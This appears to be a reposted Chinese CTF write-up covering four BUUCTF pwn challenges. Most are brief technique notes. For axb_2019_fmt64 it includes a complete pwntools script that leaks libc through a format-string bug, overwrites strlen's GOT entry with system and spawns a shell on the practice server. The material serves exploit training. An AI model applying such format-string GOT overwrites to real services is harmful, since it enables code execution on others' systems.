PWN-PRACTICE-BUUCTF-21
生活随笔
收集整理的這篇文章主要介紹了
PWN-PRACTICE-BUUCTF-21
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
PWN-PRACTICE-BUUCTF-21
- wdb_2018_2nd_easyfmt
- ciscn_2019_es_1
- axb_2019_fmt64
- x_ctf_b0verfl0w
wdb_2018_2nd_easyfmt
格式化字符串漏洞
第一次printf通過printf_got將printf的實際地址打印出來,計算libc基地址,得到system的實際地址
第二次printf通過printf_got將printf的實際地址改寫為system的實際地址,這樣之后的printf實際上是執行的system
第三次輸入"/bin/sh\x00",即會執行system("/bin/sh\x00")
ciscn_2019_es_1
tcache
參考:ciscn_2019_es_1
axb_2019_fmt64
格式化字符串漏洞,參考:[BUUCTF]PWN——axb_2019_fmt64(64位格式化字符串改got表)
# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./axb_2019_fmt64") io=remote("node4.buuoj.cn",26526) elf=ELF("./axb_2019_fmt64") libc=ELF("./libc-2.23-16-x64.so") strlen_got=elf.got["strlen"]io.recvuntil("Please tell me:") payload="%9$saaaa"+p64(strlen_got) io.sendline(payload) strlen_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print("strlen_addr=="+hex(strlen_addr)) libc_base=strlen_addr-libc.sym["strlen"] system=libc_base+libc.sym["system"] print("system=="+hex(system)) high_sys=(system>>16)&0xff low_sys=system&0xffffio.recvuntil("Please tell me:") payload="%"+str(high_sys-9)+"c%12$hhn" payload+="%"+str(low_sys-high_sys)+"c%13$hn" #print(len(payload))#25 payload=payload.ljust(32,"a") print(len(payload))#32 payload+=p64(strlen_got+2)+p64(strlen_got)#12 13 io.sendline(payload)io.recvuntil("Please tell me:") io.sendline(";/bin/sh\x00") io.sendline("cat flag")io.interactive()x_ctf_b0verfl0w
32位elf,NX disabled,堆棧可執行
棧溢出,通過移動棧頂指針esp,實現ret2shellcode
總結
以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-21的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 人民币升值太快,4个月升值4000点,央
- 下一篇: Hive环境搭建(完整版)-配置